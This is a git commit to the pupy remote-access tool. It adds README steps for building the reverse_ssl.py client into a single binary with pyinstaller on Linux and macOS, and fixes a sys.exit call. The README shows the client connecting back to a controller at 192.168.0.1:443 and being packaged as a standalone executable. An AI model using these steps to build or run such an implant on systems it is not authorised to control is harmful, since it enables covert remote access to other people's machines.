small fixes for pyinstaller under linux

This commit is contained in:
n1nj4sec 2015-10-09 18:51:25 +02:00
parent 56c47e1011
commit 341fa3c373
2 changed files with 9 additions and 1 deletions

View File

@ -47,12 +47,20 @@ you can also use -t dll_x86 or dll_x64 to generate a reflective DLL and inject/l
pip install rpyc #(or manually copy it if you are not admin)
python reverse_ssl.py 192.168.0.1:443
```
you can also build a single binary with pyinstaller :
```bash
pyinstaller --onefile /full_path/pupy/client/reverse_ssl.py
```
#### for MAC OS X
```bash
easy_install rpyc #(or manually copy it if you are not admin)
python reverse_ssl.py 192.168.0.1:443
```
you can also build a single binary with pyinstaller (but you can't "cross-compile", pyinstaller currently only support this from osx):
```bash
pyinstaller --onefile /full_path/pupy/client/reverse_ssl.py
```
### start the server
1. eventually edit pupy.conf to change the bind address / port

View File

@ -93,7 +93,7 @@ def main():
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
else:
if len(sys.argv)!=2:
exit("usage: %s host:port"%sys.argv[0])
sys.exit("usage: %s host:port"%sys.argv[0])
HOST=sys.argv[1]
add_pseudo_pupy_module(HOST)
attempt=0